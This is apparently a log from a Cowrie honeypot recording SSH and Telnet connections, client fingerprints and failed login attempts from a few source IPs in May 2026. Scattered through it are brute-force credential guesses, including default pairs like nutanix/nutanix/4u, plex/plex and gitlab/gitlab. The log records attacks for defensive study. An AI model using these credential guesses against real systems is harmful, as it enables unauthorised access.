{"eventid":"cowrie.login.failed","username":"nutanix","password":"nutanix/4u","message":"login attempt [nutanix/nutanix/4u] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:07:45.483757Z","src_ip":"31.40.204.166","session":"a4c998248c19","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:07:46.621144Z","src_ip":"31.40.204.166","session":"a4c998248c19","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":53200,"dst_ip":"10.17.0.5","dst_port":23,"session":"fb0489488f92","protocol":"telnet","message":"New connection: 152.42.224.71:53200 (10.17.0.5:23) [session: fb0489488f92]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:07:47.523724Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":53204,"dst_ip":"10.17.0.5","dst_port":23,"session":"365ad05241a3","protocol":"telnet","message":"New connection: 152.42.224.71:53204 (10.17.0.5:23) [session: 365ad05241a3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:07:49.919440Z"}
{"eventid":"cowrie.session.closed","duration":43.17296028137207,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:07:50.131674Z","src_ip":"152.42.224.71","session":"c202a6d9127c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":53208,"dst_ip":"10.17.0.5","dst_port":23,"session":"4d3bb355ca24","protocol":"telnet","message":"New connection: 152.42.224.71:53208 (10.17.0.5:23) [session: 4d3bb355ca24]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:07:52.210336Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":53218,"dst_ip":"10.17.0.5","dst_port":23,"session":"25dafae75c51","protocol":"telnet","message":"New connection: 152.42.224.71:53218 (10.17.0.5:23) [session: 25dafae75c51]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:07:53.878747Z"}
{"eventid":"cowrie.session.connect","src_ip":"31.40.204.166","src_port":60396,"dst_ip":"159.203.135.109","dst_port":22,"session":"e93c24fb07f1","protocol":"ssh","message":"New connection: 31.40.204.166:60396 (159.203.135.109:22) [session: e93c24fb07f1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:07:56.383045Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:07:56.388879Z","src_ip":"31.40.204.166","session":"e93c24fb07f1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:07:56.579901Z","src_ip":"31.40.204.166","session":"e93c24fb07f1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"plex","password":"plex","message":"login attempt [plex/plex] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:07:57.326723Z","src_ip":"31.40.204.166","session":"e93c24fb07f1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":49556,"dst_ip":"10.17.0.5","dst_port":23,"session":"de7210e4d82c","protocol":"telnet","message":"New connection: 152.42.224.71:49556 (10.17.0.5:23) [session: de7210e4d82c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:07:57.518272Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":49560,"dst_ip":"10.17.0.5","dst_port":23,"session":"3dc65e274581","protocol":"telnet","message":"New connection: 152.42.224.71:49560 (10.17.0.5:23) [session: 3dc65e274581]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:07:57.536506Z"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:07:58.500657Z","src_ip":"31.40.204.166","session":"e93c24fb07f1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":51.791839838027954,"message":"Connection lost after 51 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:07:59.965780Z","src_ip":"152.42.224.71","session":"e0ac1166238b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":40.62114381790161,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:08:03.489095Z","src_ip":"152.42.224.71","session":"8acbadbf2e53","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"109.237.96.109","src_port":48144,"dst_ip":"10.17.0.5","dst_port":22,"session":"6d3662e3a97f","protocol":"ssh","message":"New connection: 109.237.96.109:48144 (10.17.0.5:22) [session: 6d3662e3a97f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:08:06.956048Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:08:06.963864Z","src_ip":"109.237.96.109","session":"6d3662e3a97f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:08:07.059989Z","src_ip":"109.237.96.109","session":"6d3662e3a97f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"112233445566","message":"login attempt [root/112233445566] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:08:07.347038Z","src_ip":"109.237.96.109","session":"6d3662e3a97f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"31.40.204.166","src_port":48936,"dst_ip":"159.203.135.109","dst_port":22,"session":"91b38fcd0933","protocol":"ssh","message":"New connection: 31.40.204.166:48936 (159.203.135.109:22) [session: 91b38fcd0933]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:08:08.317519Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:08:08.322051Z","src_ip":"31.40.204.166","session":"91b38fcd0933","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:08:08.447459Z","src_ip":"109.237.96.109","session":"6d3662e3a97f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:08:08.494651Z","src_ip":"31.40.204.166","session":"91b38fcd0933","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sam","password":"abc123","message":"login attempt [sam/abc123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:08:09.186634Z","src_ip":"31.40.204.166","session":"91b38fcd0933","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":33.45293831825256,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:08:09.213981Z","src_ip":"152.42.224.71","session":"5ec9851a5b2a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":41670,"dst_ip":"10.17.0.5","dst_port":23,"session":"159f1398ea10","protocol":"telnet","message":"New connection: 152.42.224.71:41670 (10.17.0.5:23) [session: 159f1398ea10]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:08:09.438470Z"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:08:10.321303Z","src_ip":"31.40.204.166","session":"91b38fcd0933","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":41682,"dst_ip":"10.17.0.5","dst_port":23,"session":"eabc452366c5","protocol":"telnet","message":"New connection: 152.42.224.71:41682 (10.17.0.5:23) [session: eabc452366c5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:08:12.321338Z"}
{"eventid":"cowrie.session.closed","duration":56.43654108047485,"message":"Connection lost after 56 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:08:13.309042Z","src_ip":"152.42.224.71","session":"be97bd1e5bb9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":41692,"dst_ip":"10.17.0.5","dst_port":23,"session":"1a4c6fa8567b","protocol":"telnet","message":"New connection: 152.42.224.71:41692 (10.17.0.5:23) [session: 1a4c6fa8567b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:08:15.291386Z"}
{"eventid":"cowrie.session.closed","duration":23.502498626708984,"message":"Connection lost after 23 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:08:17.381145Z","src_ip":"152.42.224.71","session":"25dafae75c51","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":104.48188257217407,"message":"Connection lost after 104 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:08:18.322598Z","src_ip":"152.42.224.71","session":"b8bd9a10a81a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"31.40.204.166","src_port":59170,"dst_ip":"159.203.135.109","dst_port":22,"session":"21a408df64ed","protocol":"ssh","message":"New connection: 31.40.204.166:59170 (159.203.135.109:22) [session: 21a408df64ed]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:08:20.086023Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:08:20.092133Z","src_ip":"31.40.204.166","session":"21a408df64ed","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:08:20.213729Z","src_ip":"31.40.204.166","session":"21a408df64ed","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"gitlab","password":"gitlab","message":"login attempt [gitlab/gitlab] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:08:20.826156Z","src_ip":"31.40.204.166","session":"21a408df64ed","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:08:22.101376Z","src_ip":"31.40.204.166","session":"21a408df64ed","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":48.60125803947449,"message":"Connection lost after 48 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:08:24.523086Z","src_ip":"152.42.224.71","session":"f2c4b3b45c76","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":44362,"dst_ip":"10.17.0.5","dst_port":23,"session":"89cd48affba2","protocol":"telnet","message":"New connection: 152.42.224.71:44362 (10.17.0.5:23) [session: 89cd48affba2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:08:31.992726Z"}
{"eventid":"cowrie.session.connect","src_ip":"31.40.204.166","src_port":35716,"dst_ip":"159.203.135.109","dst_port":22,"session":"0a786374a7a7","protocol":"ssh","message":"New connection: 31.40.204.166:35716 (159.203.135.109:22) [session: 0a786374a7a7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:08:32.220036Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:08:32.225633Z","src_ip":"31.40.204.166","session":"0a786374a7a7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:08:32.397522Z","src_ip":"31.40.204.166","session":"0a786374a7a7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"student","password":"student123","message":"login attempt [student/student123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:08:33.005738Z","src_ip":"31.40.204.166","session":"0a786374a7a7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":44370,"dst_ip":"10.17.0.5","dst_port":23,"session":"90be2e38ab21","protocol":"telnet","message":"New connection: 152.42.224.71:44370 (10.17.0.5:23) [session: 90be2e38ab21]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:08:33.215672Z"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:08:34.219824Z","src_ip":"31.40.204.166","session":"0a786374a7a7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":27.687039852142334,"message":"Connection lost after 27 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:08:37.125391Z","src_ip":"152.42.224.71","session":"159f1398ea10","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":34016,"dst_ip":"10.17.0.5","dst_port":23,"session":"95c40699ef4d","protocol":"telnet","message":"New connection: 152.42.224.71:34016 (10.17.0.5:23) [session: 95c40699ef4d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:08:37.231248Z"}
{"eventid":"cowrie.session.closed","duration":43.450114488601685,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:08:40.986338Z","src_ip":"152.42.224.71","session":"3dc65e274581","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"31.40.204.166","src_port":58750,"dst_ip":"159.203.135.109","dst_port":22,"session":"a2d779ebb260","protocol":"ssh","message":"New connection: 31.40.204.166:58750 (159.203.135.109:22) [session: a2d779ebb260]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:08:44.382163Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:08:44.390623Z","src_ip":"31.40.204.166","session":"a2d779ebb260","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:08:44.513887Z","src_ip":"31.40.204.166","session":"a2d779ebb260","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"139.19.117.129","src_port":48076,"dst_ip":"159.203.135.109","dst_port":22,"session":"e2fdec884406","protocol":"ssh","message":"New connection: 139.19.117.129:48076 (159.203.135.109:22) [session: e2fdec884406]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:08:45.085488Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:08:45.092034Z","src_ip":"139.19.117.129","session":"e2fdec884406","protocol":"ssh"}
